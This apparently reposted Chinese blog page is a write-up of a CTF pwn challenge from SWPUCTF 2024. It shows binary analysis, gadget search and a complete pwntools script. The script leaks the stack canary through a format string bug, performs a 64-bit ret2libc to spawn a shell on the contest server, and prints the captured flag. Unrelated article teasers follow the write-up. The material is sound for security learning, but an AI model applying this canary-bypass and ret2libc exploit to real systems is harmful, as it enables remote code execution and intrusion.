怎么做网站推广的步骤/百度关键字优化价格

怎么做网站推广的步骤,百度关键字优化价格,婚纱网站模板,优秀的设计网站推荐5948.[SWPUCTF 2024 秋季新生赛]金丝雀 canary绕过和64位的ret2libc(格式化字符串泄露) (1) motalymotaly-VMware-Virtual-Platform:~/桌面$ file xn xn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.…

5948.[SWPUCTF 2024 秋季新生赛]金丝雀 canary绕过和64位的ret2libc(格式化字符串泄露)

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file xn
xn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=635e150fc1c296c1c993b432690936de365ed07c, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=xn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   71 Symbols	  No	0		2		xn

(2)

用ida64打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)

int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[240]; // [rsp+0h] [rbp-1F0h] BYREFchar v5[248]; // [rsp+F0h] [rbp-100h] BYREFunsigned __int64 v6; // [rsp+1E8h] [rbp-8h]v6 = __readfsqword(0x28u);init(argc, argv, envp);puts("plase enter your name");read(0, buf, 8uLL);printf(buf);puts("Welcome to NSSCTF");read(0, v5, 0x200uLL);return 0;
}

先是v6参数的赋canary值

然后先有一个read函数,在下面用printf输出,造成格式化字符串漏洞

最后还有一个read函数,最多读取512(0x200)个无符号长整型常量,v5数组大小为248,造成缓冲区溢出

点击char v5[248];查看

-0000000000000108                 db ? ; undefined
-0000000000000107                 db ? ; undefined
-0000000000000106                 db ? ; undefined
-0000000000000105                 db ? ; undefined
-0000000000000104                 db ? ; undefined
-0000000000000103                 db ? ; undefined
-0000000000000102                 db ? ; undefined
-0000000000000101                 db ? ; undefined
-0000000000000100 var_100         db 248 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

得到偏移量为0x100+0x8

(3)

这里开了NX(不能进行shellcode注入),开了canary(防止栈溢出)并且无system和'/bin/sh'

canary可以用上面的read函数读入和printf函数输出来获得值

所以这道题是canary绕过和ret2libc(格式化字符串泄露)

在main函数下断点,一直运行到printf函数,上面read函数随便输入一串数据,然后运行

用stack 100查看栈上信息

因为这里

所以Canary(rbp-8h)即为0x7fffffffd748

通过fmtarg泄露出格式化字符串的偏移地址

(4)

因为64位,所以需要一个rdi寄存器和ret去维持堆栈平衡

motaly@motaly-VMware-Virtual-Platform:~/桌面$ ROPgadget --binary ./xn --only 'pop|ret'
Gadgets information
============================================================
0x000000000040130c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401310 : pop r14 ; pop r15 ; ret
0x0000000000401312 : pop r15 ; ret
0x000000000040130b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401313 : pop rdi ; ret
0x0000000000401311 : pop rsi ; pop r15 ; ret
0x000000000040130d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : retUnique gadgets found: 11

得到ret的地址0x40101a和rdi的地址0x401313

(5)

编写

from pwn import *
from LibcSearcher import*
# context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("node6.anna.nssctf.cn", 22859)
# io = process('/home/motaly/桌面/xn')
payload = '%67$p'
io.sendlineafter('name',payload)
io.recvuntil(b'\n')
canary = int(io.recv(18).decode(),16)
elf=ELF('/home/motaly/桌面/xn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
ret=0x40101a
rdi=0x401313
io.recvuntil(b"NSSCTF\n")
payload = b'a'*(0x100-8)+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts-->'+hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
print('libc_base-->'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
io.recvuntil('name\n')
io.sendline(b'aaaa')
io.recvuntil(b"NSSCTF\n")
payload = b'a'*(0x100-8)+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()

(6)

连接得到flag

motaly@motaly-VMware-Virtual-Platform:~/桌面$ python3 1.py
[+] Opening connection to node6.anna.nssctf.cn on port 22859: Done
/home/motaly/桌面/1.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesio.sendlineafter('name',payload)
/usr/lib/python3/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesres = self.recvuntil(delim, timeout=timeout)
[*] '/home/motaly/桌面/xn'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)
puts-->0x7f5198bb2420
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-13_amd64
1 - libc6-i386_2.33-0experimental1_amd64
2 - libc6_2.31-0ubuntu9.10_amd64
3 - libc6-i386_2.33-0experimental0_amd64
4 - libc6-i386_2.31-9_amd64
5 - libc6-i386_2.31-17_amd64
6 - libc6-i386_2.31-13+deb11u1_amd64
7 - libc6-i386_2.31-13+deb11u4_amd64
8 - libc6-i386_2.31-13+deb11u3_amd64
9 - libc6_2.31-0ubuntu9.9_amd64
[+] Choose one : 9
libc_base-->0x7f5198b2e000
/home/motaly/桌面/1.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesio.recvuntil('name\n')
[*] Switching to interactive mode
$ ls
attachment
bin
dev
flag
lib
lib32
lib64
libx32
$ cat flag
NSSCTF{f7d28b74-deff-4bbf-ba7d-a9c9ef376a51}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/71470.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

koa-session设置Cookie后获取不到

在谷歌浏览器中请求获取不到cookie问题之一(谷歌安全策略) 场景 前端使用 axios 请求,项目地址:http://192.168.8.1:5173 import axios from axiosconst request axios.create({baseURL: http://127.0.0.1:3001/,timeout: 60000,…

FusionInsight MRS云原生数据湖

FusionInsight MRS云原生数据湖 1、FusionInsight MRS概述2、FusionInsight MRS解决方案3、FusionInsight MRS优势4、FusionInsight MRS功能 1、FusionInsight MRS概述 1.1、数据湖概述 数据湖是一个集中式存储库,允许以任意规模存储所有结构化和非结构化数据。可以…

推荐几款优秀的PDF转电子画册的软件

当然可以!以下是几款优秀的PDF转电子画册的软件推荐,内容简洁易懂,这些软件都具有易用性和互动性,适合不同需求的用户使用。​ ❶ FLBOOK|在线创作平台 支持PDF直接导入生成仿真翻页电子书。提供15主题模板与字体库&a…

【GoTeams】-2:项目基础搭建(下)

本文目录 1. 回顾2. Zap日志3. 配置4. 引入gprc梳理gRPC思路优雅关闭gRPC 1. 回顾 上篇文章我们进行了路由搭建,引入了redis,现在来看看对应的效果。 首先先把前端跑起来,然后点击注册获取验证码。 再看看控制台输出和redis是否已经有记录&…

深度学习反向传播

一、白话解释 梯度其实就是导数,除了用符号求导也可以用近似求导: 然后更新ww-学习率*导数 反向传播就是链式求导 向前计算:对每个节点求偏导 在前向传播的时候,进行一次前向计算的时候就可以把每一条线的偏导数都知道 前向传…

JavaWeb-HttpServletRequest请求域接口

文章目录 HttpServletRequest请求域接口HttpServletRequest请求域接口简介关于请求域和应用域的区别 请求域接口中的相关方法获取前端请求参数(getParameter系列方法)存储请求域名参数(Attribute系列方法)获取客户端的相关地址信息获取项目的根路径 关于转发和重定向的细致剖析…

deepseek在pycharm 中的配置和简单应用

对于最常用的调试python脚本开发环境pycharm,如何接入deepseek是我们窥探ai代码编写的第一步,熟悉起来总没坏处。 1、官网安装pycharm社区版(免费),如果需要安装专业版,需要另外找破解码。 2、安装Ollama…

动态规划01背包问题系列一>最后一块石头的重量II

这里写目录标题 题目分析:状态表示:状态转移方程:初始化:填表顺序:返回值:代码呈现:优化版本:代码呈现: 题目分析: 状态表示: 状态转移方程&#…

逐行拆解 C 语言:数据类型、变量

今日,我们即将踏上一段充满趣味与挑战的学习之旅,深度钻研数据类型的多样奥秘,解锁变量创建的实用技巧。不仅如此,还会邂逅两个实用的基础库函数,探索它们在程序中穿针引线的奇妙作用。同时,几个简洁却强大…

【音视频】ffplay简单过滤器

一、ffplay简单过滤器 视频旋转:借助transpose滤镜 ffplay -i 1.mp4 -vf transpose1这里选择不同的数字是不同的方向: 视频翻转:借助hflip/vflip实现水平和垂直翻转: 水平翻转 ffplay 1.mp4 -vf hflip垂直翻转 ffplay 1.mp4 …

4G工业路由器在公交充电桩中的应用与优势

随着电动公交车的普及,公交充电桩的稳定运行和高效管理是交通营运部门最关心的问题。4G工业路由器凭借其卓越的数据采集和通讯能力,成为实现充电桩智能化管理的关键。 公交充电桩运维管理需求概述: 1.实时性:实时监控充电状态、剩…

【LangChain 数据连接封装】 文档加载器、文档处理器

小结: 文档处理部分,建议在实际应用中详细测试后使用与向量数据库的链接部分本质是接口封装,向量数据库需要自己选型类似 LlamaIndex,LangChain 也提供了丰富的 Document Loaders DocumentLoaders和 Text Splitters Text Splitte…

Springboot集成dubbo完整过程(三)

准备工作 1,准备mysql服务环境2,准备redis服务环境3,准备zookeeper服务环境4,准备逆向生成bean的xml配置文件5,准备slf4j日志xml配置文件6,准备一个sql脚本 1,搭建创建服务工程 1,创…

电池管理系统(BMS)架构详细解析:原理与器件选型指南

BMS(电池管理系统)架构详细讲解 从你提供的BMS(Battery Management System)架构图来看,主要涉及到电池监控模块、通信模块、功率控制模块等部分。下面我将详细讲解该架构的各个功能模块及其工作原理。 1. 电池管理核…

决策树(Decision Tree)基础知识

目录 一、回忆1、*机器学习的三要素:1)*函数族2)*目标函数2.1)*模型的其他复杂度参数 3)*优化算法 2、*前处理/后处理1)前处理:特征工程2)后处理:模型选择和模型评估 3、…

Git 批量合并 Commit 并且保留之前的 Commit 快速实现的思路

文章目录 需求Rebase / Pick / squashVim 的快速全局字符串替换 需求 我想把如下的提交 commit,变成一个 Commit,并且合并这些 Commit 的消息到一个节点 Rebase / Pick / squash 我合并到 5e59217 这个hash 上,这样合并后会保留两个 Commit…

基于海思soc的智能产品开发(芯片sdk和linux开发关系)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 随着国产化芯片的推进,在soc领域,越来越多的项目使用国产soc芯片。这些soc芯片,通常来说运行的os不是linux&…

论坛系统测试报告

目录 一、项目背景二、论坛系统测试用例思维导图三、论坛系统测试3.1界面测试3.2登陆测试3.3主页测试3.4个人中心测试 四、自动化测试脚本4.1配置驱动4.2创建浏览器类4.3功能测试4.3.1登陆测试4.3.2注册测试4.3.3主页测试4.3.4帖子编辑4.3.5运行主代码 五、BUG分析六、测试总结…

python量化交易——金融数据管理最佳实践——使用qteasy大批量自动拉取金融数据

文章目录 使用数据获取渠道自动填充数据QTEASY数据拉取功能数据拉取接口refill_data_source()数据拉取API的功能特性多渠道拉取数据实现下载流量控制实现错误重试日志记录其他功能 qteasy是一个功能全面且易用的量化交易策略框架, Github地址在这里。使用它&#x…

upload-labs靶场 1-21通关

目录 1.Pass-01 前端绕过 分析 解题 2.Pass-02 服务器端检测--修改IMME 分析 解题 3.Pass-03 黑名单绕过 分析 解题 4.Pass-04 .htaccess绕过 分析 解题 5.Pass-05 . .绕过和.user.ini绕过 分析 解题 6.Pass-06 大小写绕过 分析 解题 7.Pass-07 空格绕过 分…